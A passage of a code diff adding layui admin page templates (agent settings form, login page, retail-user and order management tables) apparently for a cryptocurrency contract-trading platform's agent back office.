{{# }else if(d.params.son_level == 3 && !d.params.id){ }}
|
||||
<button class="layui-btn layui-btn-normal layui-btn-radius">三级代理商</button>
|
||||
{{# }else if(d.params.son_level == 4 && !d.params.id){ }}
|
||||
<button class="layui-btn layui-btn-normal layui-btn-radius">四级代理商</button>
|
||||
{{# }else if (d.params.id && d.params.id>0) { }}
|
||||
<button class="layui-btn layui-btn-normal layui-btn-radius">{{d.params.self_info}}</button>
|
||||
{{# }else{ }}
|
||||
<button class="layui-btn layui-btn-danger layui-btn-radius">不能添加代理商</button>
|
||||
{{# } }}
|
||||
</script>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label"> 比例(%)</label>
|
||||
<div class="layui-input-inline">
|
||||
<script type="text/html" template>
|
||||
<input type="text" name="pro_loss" value="{{ d.params.pro_loss || '' }}" lay-verify="pro_loss" placeholder="请输入该代理商的 比例,不超过{{ d.params.max_pro_loss || '100' }}" autocomplete="off" class="layui-input">
|
||||
</script>
|
||||
</div>
|
||||
<script type="text/html" template>
|
||||
<div class="layui-form-mid layui-word-aux">设置下级代理商的 比例,该值不能超过<span class="layui-badge">{{ d.params.max_pro_loss || '100' }}</span>。只需要输入数字,如20.85%,则输入20.85</div>
|
||||
</script>
|
||||
</div>
|
||||
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">手续费比例(%)</label>
|
||||
<div class="layui-input-inline">
|
||||
<script type="text/html" template>
|
||||
<input type="text" name="pro_ser" value="{{ d.params.pro_ser || '' }}" lay-verify="pro_ser" placeholder="请输入该代理商的手续费比例,不超过{{ d.params.max_pro_ser || '100' }}" autocomplete="off" class="layui-input">
|
||||
</script>
|
||||
</div>
|
||||
<script type="text/html" template>
|
||||
<div class="layui-form-mid layui-word-aux">设置下级代理商的手续费比例,该值不能超过<span class="layui-badge">{{ d.params.max_pro_ser || '100' }}</span>。只需要输入数字,如20.85%,则输入20.85</div>
|
||||
</script>
|
||||
</div>
|
||||
<div class="layui-form-item" lay-filter="sex">
|
||||
<label class="layui-form-label">是否锁定</label>
|
||||
<div class="layui-input-block">
|
||||
<script type="text/html" template>
|
||||
{{# if(d.params.is_lock){ }}
|
||||
<input type="radio" name="is_lock" value="0" title="开启" {{ d.params.is_lock == '0' ? 'checked' : '' }}>
|
||||
<input type="radio" name="is_lock" value="1" title="锁定" {{ d.params.is_lock == '1' ? 'checked' : '' }}>
|
||||
{{# }else{ }}
|
||||
<input type="radio" name="is_lock" value="0" title="开启" checked>
|
||||
<input type="radio" name="is_lock" value="1" title="锁定">
|
||||
{{# } }}
|
||||
</script>
|
||||
</div>
|
||||
<div class="layui-form-mid layui-word-aux">当锁定时,该用户不能登录代理商管理平台</div>
|
||||
</div>
|
||||
<div class="layui-form-item" lay-filter="sex">
|
||||
<label class="layui-form-label">是否拉新</label>
|
||||
<div class="layui-input-block">
|
||||
<script type="text/html" template>
|
||||
{{# if(d.params.is_lock){ }}
|
||||
<input type="radio" name="is_addson" value="0" title="禁止" {{ d.params.is_addson == '0' ? 'checked' : '' }}>
|
||||
<input type="radio" name="is_addson" value="1" title="允许" {{ d.params.is_addson == '1' ? 'checked' : '' }}>
|
||||
{{# }else{ }}
|
||||
<input type="radio" name="is_addson" value="1" title="允许" checked>
|
||||
<input type="radio" name="is_addson" value="0" title="禁止">
|
||||
{{# } }}
|
||||
</script>
|
||||
</div>
|
||||
<div class="layui-form-mid layui-word-aux">当禁止填加新代理商时,该用户不能添加自己的下级代理商</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label"></label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="button" lay-submit lay-filter="LAY-user-front-submit" value="确认" class="layui-btn">
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
layui.use(['admin', 'form', 'upload' ,'layer'], function(){
|
||||
var $ = layui.$
|
||||
,form = layui.form
|
||||
,upload = layui.upload;
|
||||
|
||||
|
||||
//自定义验证
|
||||
form.verify({
|
||||
nickname: function(value, item){ //value:表单的值、item:表单的DOM对象
|
||||
if(!new RegExp("^[a-zA-Z0-9_\u4e00-\u9fa5\\s·]+$").test(value)){
|
||||
return '用户名不能有特殊字符';
|
||||
}
|
||||
if(/(^\_)|(\__)|(\_+$)/.test(value)){
|
||||
return '用户名首尾不能出现下划线\'_\'';
|
||||
}
|
||||
if(/^\d+\d+\d$/.test(value)){
|
||||
return '用户名不能全为数字';
|
||||
}
|
||||
}
|
||||
|
||||
//我们既支持上述函数式的方式,也支持下述数组的形式
|
||||
//数组的两个值分别代表:[正则匹配、匹配不符时的提示文字]
|
||||
,pass: [
|
||||
/^[\S]{6,12}$/
|
||||
,'密码必须6到12位,且不能出现空格'
|
||||
]
|
||||
});
|
||||
|
||||
//上传头像
|
||||
upload.render({
|
||||
elem: '#layuiadmin-upload-useradmin'
|
||||
,url: './json/upload/demo.js'
|
||||
,accept: 'images'
|
||||
,method: 'get'
|
||||
,acceptMime: 'image/*'
|
||||
,done: function(res){
|
||||
$(this.item).prev("div").children("input").val(res.data.src)
|
||||
}
|
||||
});
|
||||
})
|
||||
</script>
|
||||
@@ -0,0 +1,115 @@
|
||||
|
||||
<script type="text/html" template>
|
||||
<link rel="stylesheet" href="{{ layui.setter.base }}style/login.css?v={{ layui.admin.v }}-1" media="all">
|
||||
</script>
|
||||
|
||||
|
||||
<div class="layadmin-user-login layadmin-user-display-show" id="LAY-user-login" style="display: none;">
|
||||
|
||||
<div class="layadmin-user-login-main">
|
||||
<div class="layadmin-user-login-box layadmin-user-login-body layui-form">
|
||||
<div class="layui-form-item">
|
||||
<label class="layadmin-user-login-icon layui-icon layui-icon-username" for="LAY-user-login-username"></label>
|
||||
<input type="text" name="username" id="LAY-user-login-username" lay-verify="required" placeholder="用户名" class="layui-input">
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layadmin-user-login-icon layui-icon layui-icon-password" for="LAY-user-login-password"></label>
|
||||
<input type="password" name="password" id="LAY-user-login-password" lay-verify="required" placeholder="密码" class="layui-input">
|
||||
</div>
|
||||
<!--<div class="layui-form-item">-->
|
||||
<!--<div class="layui-row">-->
|
||||
<!--<div class="layui-col-xs7">-->
|
||||
<!--<label class="layadmin-user-login-icon layui-icon layui-icon-vercode" for="LAY-user-login-vercode"></label>-->
|
||||
<!--<input type="text" name="vercode" id="LAY-user-login-vercode" lay-verify="required" placeholder="图形验证码" class="layui-input">-->
|
||||
<!--</div>-->
|
||||
<!--<div class="layui-col-xs5">-->
|
||||
<!--<div style="margin-left: 10px;">-->
|
||||
<!--<img src="https://www.oschina.net/action/user/captcha" class="layadmin-user-login-codeimg" id="LAY-user-get-vercode">-->
|
||||
<!--</div>-->
|
||||
<!--</div>-->
|
||||
<!--</div>-->
|
||||
<!--</div>-->
|
||||
<div class="layui-form-item" style="margin-bottom: 20px;">
|
||||
<input type="checkbox" name="remember" lay-skin="primary" title="记住密码">
|
||||
<a lay-tips="忘记密码需要上级代理找回密码" class="layadmin-user-jump-change layadmin-link" style="margin-top: 7px;" lay-offset="5">忘记密码?</a>
|
||||
<!--<i class="layui-icon layui-icon-tips" lay-tips="要支持的噢" lay-offset="5">忘记密码?</i> lay-href="/user/forget"-->
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<button class="layui-btn layui-btn-fluid" lay-submit lay-filter="LAY-user-login-submit">登 入</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-trans layadmin-user-login-footer">
|
||||
|
||||
<!--<p>© 2017-2022 <a href="http://lever.mobile369.com/" target="_blank">lever.mobile369.com</a></p>
|
||||
<p>
|
||||
<span><a href="http://lever.mobile369.com" target="_blank">获取授权</a></span>
|
||||
<span><a href="http://lever.mobile369.com" target="_blank">在线演示</a></span>
|
||||
<span><a href="http://lever.mobile369.com" target="_blank">前往官网</a></span>
|
||||
</p>-->
|
||||
</div>
|
||||
|
||||
<!--<div class="ladmin-user-login-theme">
|
||||
<script type="text/html" template>
|
||||
<ul>
|
||||
<li data-theme=""><img src="{{ layui.setter.base }}style/res/bg-none.jpg"></li>
|
||||
<li data-theme="#03152A" style="background-color: #03152A;"></li>
|
||||
<li data-theme="#2E241B" style="background-color: #2E241B;"></li>
|
||||
<li data-theme="#50314F" style="background-color: #50314F;"></li>
|
||||
<li data-theme="#344058" style="background-color: #344058;"></li>
|
||||
<li data-theme="#20222A" style="background-color: #20222A;"></li>
|
||||
</ul>
|
||||
</script>
|
||||
</div>-->
|
||||
|
||||
</div>
|
||||
|
||||
<script>
|
||||
layui.use(['admin', 'form', 'user'], function(){
|
||||
var $ = layui.$
|
||||
,setter = layui.setter
|
||||
,admin = layui.admin
|
||||
,form = layui.form
|
||||
,router = layui.router()
|
||||
,search = router.search;
|
||||
|
||||
form.render();
|
||||
|
||||
//提交
|
||||
form.on('submit(LAY-user-login-submit)', function(obj){
|
||||
|
||||
//请求登入接口
|
||||
admin.req({
|
||||
url: '/agent/login' //实际使用请改成服务端真实接口
|
||||
,data: obj.field
|
||||
,type :"post"
|
||||
,done: function(res){
|
||||
console.log(res);
|
||||
if (res.code == 0){
|
||||
//请求成功后,写入 access_token
|
||||
layui.data(setter.tableName, {
|
||||
key: setter.request.tokenName
|
||||
,value: res.data.access_token
|
||||
});
|
||||
|
||||
//登入成功的提示与跳转
|
||||
layer.msg('登入成功', {
|
||||
offset: '15px'
|
||||
,icon: 1
|
||||
,time: 1000
|
||||
}, function(){
|
||||
location.hash = search.redirect ? decodeURIComponent(search.redirect) : '/';
|
||||
});
|
||||
}else{
|
||||
layer.msg(res.msg, {
|
||||
offset: '15px'
|
||||
,icon: 5
|
||||
});
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
});
|
||||
</script>
|
||||
@@ -0,0 +1,304 @@
|
||||
|
||||
<title>散户管理</title>
|
||||
|
||||
<div class="layui-card layadmin-header">
|
||||
<div class="layui-breadcrumb" lay-filter="breadcrumb">
|
||||
<a lay-href="">主页</a>
|
||||
<a><cite>用户管理</cite></a>
|
||||
<a><cite>散户管理</cite></a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-fluid">
|
||||
<div class="layui-card">
|
||||
<div class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="layadmin-userfront-formlist">
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">开始日期</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="start" id="datestart" placeholder="yyyy-MM-dd" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">结束日期</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="end" id="dateend" placeholder="yyyy-MM-dd" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">ID</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="id" placeholder="请输入" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">用户名</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="account_number" placeholder="请输入" autocomplete="off"
|
||||
class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">上级代理用户名</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="agentusername" placeholder="请输入上级代理用户名" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<button class="layui-btn layuiadmin-btn-useradmin" lay-submit lay-filter="san-user-search">
|
||||
<i class="layui-icon layui-icon-search layuiadmin-button-btn"></i>
|
||||
</button>
|
||||
<button class="layui-btn layuiadmin-btn-useradmin" onclick="javascript:window.location.href='order/users_excel'">导出Excel</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-card-body">
|
||||
<div class="layui-carousel layadmin-backlog" style="background-color: #fff">
|
||||
<ul class="layui-row layui-col-space10 layui-this">
|
||||
<li class="layui-col-xs3">
|
||||
<a href="javascript:;" onclick="layer.tips('总用户数', this, {tips: 3});" class="layadmin-backlog-body" style="color: #fff;background-color: #01AAED;">
|
||||
<h3>总用户数:</h3>
|
||||
<p><cite style="color:#fff" id="_num">0</cite></p>
|
||||
</a>
|
||||
</li>
|
||||
<li class="layui-col-xs3">
|
||||
<a href="javascript:;" onclick="layer.tips('代理商用户数', this, {tips: 3});" class="layadmin-backlog-body" style="color: #fff;background-color: #01AAED;">
|
||||
<h3>代理商用户数</h3>
|
||||
<p><cite style="color:#fff" id="_daili">0</cite></p>
|
||||
</a>
|
||||
</li>
|
||||
<li class="layui-col-xs3">
|
||||
<a href="javascript:;" onclick="layer.tips('可用总USDT', this, {tips: 3});" class="layadmin-backlog-body" style="color: #fff;background-color: #01AAED;">
|
||||
<h3>永续合约账户USDT余额:</h3>
|
||||
<p><cite style="color:#fff" id="_usdt">0.00000000</cite></p>
|
||||
</a>
|
||||
</li>
|
||||
<li class="layui-col-xs3">
|
||||
<a href="javascript:;" onclick="layer.tips('可用总保证金', this, {tips: 3});" class="layadmin-backlog-body" style="color: #fff;background-color: #01AAED;">
|
||||
<h3>秒合约账户USDT余额:</h3>
|
||||
<p><cite style="color:#fff" id="_usdt_mic">0.00000000</cite></p>
|
||||
</a>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div class="layui-carousel layadmin-backlog" style="background-color: #fff">
|
||||
<ul class="layui-row layui-col-space10 layui-this">
|
||||
<!-- <li class="layui-col-xs3 chujin">
|
||||
<a href="javascript:;" onclick="layer.tips('出金总额', this, {tips: 3});" class="layadmin-backlog-body" style="color: #fff;background-color: #01AAED;">
|
||||
<h3>出金总额:</h3>
|
||||
<p><cite style="color:#fff" id="chujin">0.0000000</cite></p>
|
||||
</a>
|
||||
</li>
|
||||
<li class="layui-col-xs3 rujin">
|
||||
<a href="javascript:;" onclick="layer.tips('入金总额', this, {tips: 3});" class="layadmin-backlog-body" style="color: #fff;background-color: #01AAED;">
|
||||
<h3>入金总额:</h3>
|
||||
<p><cite style="color:#fff" id="rujin">0.00000000</cite></p>
|
||||
</a>
|
||||
</li> -->
|
||||
<li class="layui-col-xs3">
|
||||
<a href="javascript:;" onclick="layer.tips('锁定保证金', this, {tips: 3});" class="layadmin-backlog-body" style="color: #fff;background-color: #01AAED;">
|
||||
<h3>当前交易锁定订单保证金:</h3>
|
||||
<p><cite style="color:#fff" id="lock">0.00000000</cite></p>
|
||||
</a>
|
||||
</li>
|
||||
<li class="layui-col-xs3">
|
||||
<a href="javascript:;" onclick="layer.tips('客户法币锁定余额', this, {tips: 3});" class="layadmin-backlog-body" style="color: #fff;background-color: #01AAED;">
|
||||
<h3>客户锁定法币余额USDT</h3>
|
||||
<p><cite style="color:#fff" id="locklage">0</cite></p>
|
||||
</a>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="layui-card-body">
|
||||
<div style="padding-bottom: 10px;">
|
||||
<!--<button class="layui-btn layuiadmin-btn-useradmin" data-type="batchdel">删除</button>-->
|
||||
<!--<button class="layui-btn layuiadmin-btn-useradmin" data-type="add">用户</button>-->
|
||||
</div>
|
||||
|
||||
<table id="san-user-manage" lay-filter="san-user-manage"></table>
|
||||
<!--<script type="text/html" id="imgTpl"> -->
|
||||
<!--<img style="display: inline-block; width: 50%; height: 100%;" src= {{ d.avatar }}>-->
|
||||
<!--</script> -->
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script type="text/html" id="table-useradmin-webuser">
|
||||
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="order">查看订单</a>
|
||||
</script>
|
||||
|
||||
<script>
|
||||
layui.use(['useradmin'] ,layui.factory('useradmin')).use(['admin', 'table', 'layer' , 'laydate'], function () {
|
||||
var $ = layui.$
|
||||
, admin = layui.admin
|
||||
, view = layui.view
|
||||
, table = layui.table
|
||||
, layer = layui.layer
|
||||
, laydate = layui.laydate
|
||||
, form = layui.form;
|
||||
|
||||
|
||||
//日期
|
||||
laydate.render({
|
||||
elem: '#datestart'
|
||||
,type: 'datetime'
|
||||
});
|
||||
laydate.render({
|
||||
elem: '#dateend'
|
||||
,type: 'datetime'
|
||||
});
|
||||
|
||||
|
||||
var router = layui.router();
|
||||
parent_id = router.search.parent_id || 0;
|
||||
|
||||
|
||||
admin.req( {
|
||||
type : "POST",
|
||||
url : '/agent/get_user_num',
|
||||
dataType : "json",
|
||||
data : {all : 1 , parent_id : parent_id},
|
||||
done : function(result) { //返回数据根据结果进行相应的处理
|
||||
$("#_num").html(result.data._num);
|
||||
$("#_daili").html(result.data._daili);
|
||||
$("#_usdt").html(result.data._usdt);//合约
|
||||
$("#_usdt_mic").html(result.data._usdt_mic);//秒合约
|
||||
|
||||
$("#_caution_money").html(result.data._caution_money);
|
||||
|
||||
if(!result.data.chujin && !result.data.rujin)
|
||||
{
|
||||
$(".chujin").hide();
|
||||
$(".rujin").hide();
|
||||
}
|
||||
$("#chujin").html(result.data.chujin);
|
||||
$("#rujin").html(result.data.rujin);
|
||||
|
||||
|
||||
$("#lock").html(result.data.lock);
|
||||
$("#locklage").html(result.data.locklage);
|
||||
}
|
||||
});
|
||||
|
||||
var router = layui.router();
|
||||
parent_id = router.search.parent_id || 0;
|
||||
|
||||
console.log(parent_id);
|
||||
|
||||
load(parent_id);
|
||||
|
||||
function load(parent_id) {
|
||||
parent_id = parent_id || 0;
|
||||
|
||||
table.render({
|
||||
elem: '#san-user-manage'
|
||||
, url: '/agent/user/lists?parent_id=' + parent_id //模拟接口
|
||||
, cols: [[
|
||||
{type: 'checkbox', fixed: 'left'}
|
||||
, {field: 'id', width: 60, title: 'ID', sort: true}
|
||||
, {field: 'account_number', title: '用户名', minWidth: 150}
|
||||
,{field: 'my_agent_level', title: '用户身份' , width : 120}
|
||||
, {field: 'userreal_name', title: '姓名', minWidth: 150}
|
||||
// , {field: 'my_agent_level', title: '用户身份' , width : 120}
|
||||
// , {field: 'card_id', title: '身份证号' , width : 180}
|
||||
, {field: 'parent_name', title: '上级代理商' , width : 120}
|
||||
, {field: 'usdt', title: 'USDT永续合约余额' , width:170}
|
||||
, {field: 'usdt_mic', title: 'USDT秒合约余额' , width:170}
|
||||
// , {field: 'rujin', title: '入金' , width:170}
|
||||
// , {field: 'chujin', title: '出金' , width:170}
|
||||
//, {field: 'caution_money', title: '保证金', width:170}
|
||||
, {field: 'email', title: '邮箱', minWidth: 150}
|
||||
, {field: 'extension_code', title: '邀请码', minWidth: 150}
|
||||
, {field: 'create_date', title: '加入时间', sort: true, width: 170}
|
||||
, {title: '操作', width: 100, align: 'center', fixed: 'right', toolbar: '#table-useradmin-webuser'}
|
||||
]]
|
||||
, page: true
|
||||
, limit: 30
|
||||
, height: 'full-320'
|
||||
, text: '对不起,加载出现异常!'
|
||||
, headers: { //通过 request 头传递
|
||||
access_token: layui.data('layuiAdmin').access_token
|
||||
}
|
||||
, where: { //通过参数传递
|
||||
access_token: layui.data('layuiAdmin').access_token
|
||||
,parent_id : parent_id
|
||||
}
|
||||
, done: function (res) { //这里要说明一下:done 是只有 response 的 code 正常才会执行。而 succese 则是只要 http 为 200 就会执行
|
||||
if (res !== 0) {
|
||||
if (res.code === 1001) {
|
||||
//清空本地记录的 token,并跳转到登入页
|
||||
admin.exit();
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
table.on('tool(san-user-manage)', function (obj) {
|
||||
var event = obj.event;
|
||||
var data = obj.data;
|
||||
|
||||
if (event == 'order') {
|
||||
location.hash = '/user/san/order_list/user_id=' + data.id;
|
||||
}
|
||||
|
||||
if (event == 'son') {
|
||||
load(data.id);
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
form.render(null, 'layadmin-userfront-formlist');
|
||||
|
||||
//监听搜索
|
||||
form.on('submit(san-user-search)', function (data) {
|
||||
var field = data.field;
|
||||
|
||||
|
||||
admin.req( {
|
||||
type : "POST",
|
||||
url : '/agent/get_user_num',
|
||||
dataType : "json",
|
||||
data : field,
|
||||
done : function(result) { //返回数据根据结果进行相应的处理
|
||||
$("#_num").html(result.data._num);
|
||||
$("#_daili").html(result.data._daili);
|
||||
$("#_usdt").html(result.data._usdt);
|
||||
$("#_usdt_mic").html(result.data._usdt_mic);//秒合约
|
||||
$("#_caution_money").html(result.data._caution_money);
|
||||
|
||||
|
||||
$("#chujin").html(result.data.chujin);
|
||||
$("#rujin").html(result.data.rujin);
|
||||
$("#lock").html(result.data.lock);
|
||||
$("#locklage").html(result.data.locklage);
|
||||
}
|
||||
});
|
||||
|
||||
//执行重载
|
||||
table.reload('san-user-manage', {
|
||||
where: field
|
||||
, page: {
|
||||
curr: 1 //重新从第 1 页开始
|
||||
}
|
||||
, done: function (res) { //这里要说明一下:done 是只有 response 的 code 正常才会执行。而 succese 则是只要 http 为 200 就会执行
|
||||
|
||||
if (res.code === 1001) {
|
||||
//清空本地记录的 token,并跳转到登入页
|
||||
admin.exit();
|
||||
}
|
||||
if (res.code === 1) {
|
||||
layer.msg(res.msg, {icon: 5});
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
</script>
|
||||
@@ -0,0 +1,134 @@
|
||||
<title>订单管理</title>
|
||||
|
||||
<div class="layui-card layadmin-header">
|
||||
<div class="layui-breadcrumb" lay-filter="breadcrumb">
|
||||
<a lay-href="">主页</a>
|
||||
<a><cite>用户管理</cite></a>
|
||||
<a><cite>散户管理</cite></a>
|
||||
<a><cite>下单列表</cite></a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-fluid">
|
||||
<div class="layui-card">
|
||||
<div class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="layadmin-userfront-formlist">
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">状态</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="status">
|
||||
<option value="-1">全部</option>
|
||||
<option value="0">挂单中</option>
|
||||
<option value="1">交易中</option>
|
||||
<option value="2">平仓中</option>
|
||||
<option value="3">已平仓</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">类型</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="type">
|
||||
<option value="-1">全部</option>
|
||||
<option value="1">买入</option>
|
||||
<option value="2">卖出</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<button class="layui-btn layuiadmin-btn-useradmin" lay-submit lay-filter="order-search">
|
||||
<i class="layui-icon layui-icon-search layuiadmin-button-btn"></i>
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="layui-card-body">
|
||||
<div style="padding-bottom: 10px;">
|
||||
<!--<button class="layui-btn layuiadmin-btn-useradmin" data-type="batchdel">删除</button>-->
|
||||
<!--<button class="layui-btn layuiadmin-btn-useradmin" data-type="add">用户</button>-->
|
||||
</div>
|
||||
|
||||
<table id="order-list" lay-filter="order-list"></table>
|
||||
<!--<script type="text/html" id="imgTpl"> -->
|
||||
<!--<img style="display: inline-block; width: 50%; height: 100%;" src= {{ d.avatar }}>-->
|
||||
<!--</script> -->
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
layui.use('useradmin', layui.factory('useradmin')).use(['admin', 'useradmin', 'table', 'layer'], function () {
|
||||
var $ = layui.$
|
||||
, admin = layui.admin
|
||||
, view = layui.view
|
||||
, table = layui.table
|
||||
, form = layui.form;
|
||||
|
||||
var router = layui.router();
|
||||
|
||||
form.render();
|
||||
|
||||
//用户管理
|
||||
table.render({
|
||||
elem: '#order-list'
|
||||
, url: '/agent/lever_transaction/lists?user_id=' + router.search.user_id //模拟接口
|
||||
, cols: [[
|
||||
{field: 'id', width: 60, title: 'ID', sort: true}
|
||||
, {field: 'price', title: '价格', minWidth: 150,}
|
||||
, {field: 'status_name', title: '状态', minWidth: 150,}
|
||||
, {field: 'type_name', title: '交易类型', minWidth: 150,}
|
||||
, {field: 'symbol', title: '交易对', minWidth: 150,}
|
||||
, {field: 'share', title: '手数', minWidth: 150}
|
||||
, {field: 'multiple', title: '倍数', minWidth: 150}
|
||||
, {field: 'number', title: '数量', minWidth: 150}
|
||||
, {field: 'trade_fee', title: '手续费', minWidth: 150}
|
||||
, {field: 'time', title: '创建时间', sort: true, width: 170}
|
||||
]]
|
||||
, page: true
|
||||
, limit: 30
|
||||
, height: 'full-320'
|
||||
, text: '对不起,加载出现异常!'
|
||||
, headers: { //通过 request 头传递
|
||||
access_token: layui.data('layuiAdmin').access_token
|
||||
}
|
||||
, where: { //通过参数传递
|
||||
access_token: layui.data('layuiAdmin').access_token
|
||||
}
|
||||
, done: function (res) { //这里要说明一下:done 是只有 response 的 code 正常才会执行。而 succese 则是只要 http 为 200 就会执行
|
||||
if (res !== 0) {
|
||||
if (res.code === 1001) {
|
||||
//清空本地记录的 token,并跳转到登入页
|
||||
admin.exit();
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
//监听搜索
|
||||
form.on('submit(order-search)', function (data) {
|
||||
var field = data.field;
|
||||
|
||||
//执行重载
|
||||
table.reload('order-list', {
|
||||
where: field
|
||||
, page: {
|
||||
curr: 1 //重新从第 1 页开始
|
||||
}
|
||||
, done: function (res) { //这里要说明一下:done 是只有 response 的 code 正常才会执行。而 succese 则是只要 http 为 200 就会执行
|
||||
|
||||
if (res.code === 1001) {
|
||||
//清空本地记录的 token,并跳转到登入页
|
||||
admin.exit();
|
||||
}
|
||||
if (res.code === 1) {
|
||||
layer.msg(res.msg, {icon: 5});
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
});
|
||||
</script>
|
||||
@@ -0,0 +1,141 @@
|
||||
|
||||
|
||||
<div class="layui-form" lay-filter="layuiadmin-form-useradmin" style="padding: 20px 0 0 0;">
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">用户名</label>
|
||||
<div class="layui-input-inline">
|
||||
<script type="text/html" template>
|
||||
{{# if(d.params.username){ }}
|
||||
<input type="text" name="username" value="{{ d.params.username || '' }}" lay-verify="required" placeholder="请输入用户名" autocomplete="off" class="layui-input" disabled="">
|
||||
{{# }else{ }}
|
||||
<input type="text" name="username" value="{{ d.params.username || '' }}" lay-verify="required" placeholder="请输入用户名" autocomplete="off" class="layui-input">
|
||||
{{# } }}
|
||||
<input type="hidden" name="user_id" value="{{ d.params.user_id || 0 }}">
|
||||
<input type="hidden" name="id" value="{{ d.params.id || 0 }}">
|
||||
</script>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">下级身份</label>
|
||||
<div class="layui-input-inline">
|
||||
<script type="text/html" template>
|
||||
{{# if(d.params.son_level == 1 && !d.params.id){ }}
|
||||
<button class="layui-btn layui-btn-normal layui-btn-radius">一级代理商</button>
|
||||
{{# }else if(d.params.son_level == 2 && !d.params.id){ }}
|
||||
<button class="layui-btn layui-btn-normal layui-btn-radius">二级代理商</button>
|
||||
{{# }else if(d.params.son_level == 3 && !d.params.id){ }}
|
||||
<button class="layui-btn layui-btn-normal layui-btn-radius">三级代理商</button>
|
||||
{{# }else if(d.params.son_level == 4 && !d.params.id){ }}
|
||||
<button class="layui-btn layui-btn-normal layui-btn-radius">四级代理商</button>
|
||||
{{# }else if (d.params.id && d.params.id>0) { }}
|
||||
<button class="layui-btn layui-btn-normal layui-btn-radius">{{d.params.self_info}}</button>
|
||||
{{# }else{ }}
|
||||
<button class="layui-btn layui-btn-danger layui-btn-radius">不能添加代理商</button>
|
||||
{{# } }}
|
||||
</script>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label"> 比例(%)</label>
|
||||
<div class="layui-input-inline">
|
||||
<script type="text/html" template>
|
||||
<input type="text" name="pro_loss" value="{{ d.params.pro_loss || '' }}" lay-verify="pro_loss" placeholder="请输入该代理商的 比例,不超过{{ d.params.max_pro_loss || '100' }}" autocomplete="off" class="layui-input">
|
||||
</script>
|
||||
</div>
|
||||
<script type="text/html" template>
|
||||
<div class="layui-form-mid layui-word-aux">设置下级代理商的 比例,该值不能超过<span class="layui-badge">{{ d.params.max_pro_loss || '100' }}</span>。只需要输入数字,如20.85%,则输入20.85</div>
|
||||
</script>
|
||||
</div>
|
||||
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">手续费比例(%)</label>
|
||||
<div class="layui-input-inline">
|
||||
<script type="text/html" template>
|
||||
<input type="text" name="pro_ser" value="{{ d.params.pro_ser || '' }}" lay-verify="pro_ser" placeholder="请输入该代理商的手续费比例,不超过{{ d.params.max_pro_ser || '100' }}" autocomplete="off" class="layui-input">
|
||||
</script>
|
||||
</div>
|
||||
<script type="text/html" template>
|
||||
<div class="layui-form-mid layui-word-aux">设置下级代理商的手续费比例,该值不能超过<span class="layui-badge">{{ d.params.max_pro_ser || '100' }}</span>。只需要输入数字,如20.85%,则输入20.85</div>
|
||||
</script>
|
||||
</div>
|
||||
<div class="layui-form-item" lay-filter="sex">
|
||||
<label class="layui-form-label">是否锁定</label>
|
||||
<div class="layui-input-block">
|
||||
<script type="text/html" template>
|
||||
{{# if(d.params.is_lock){ }}
|
||||
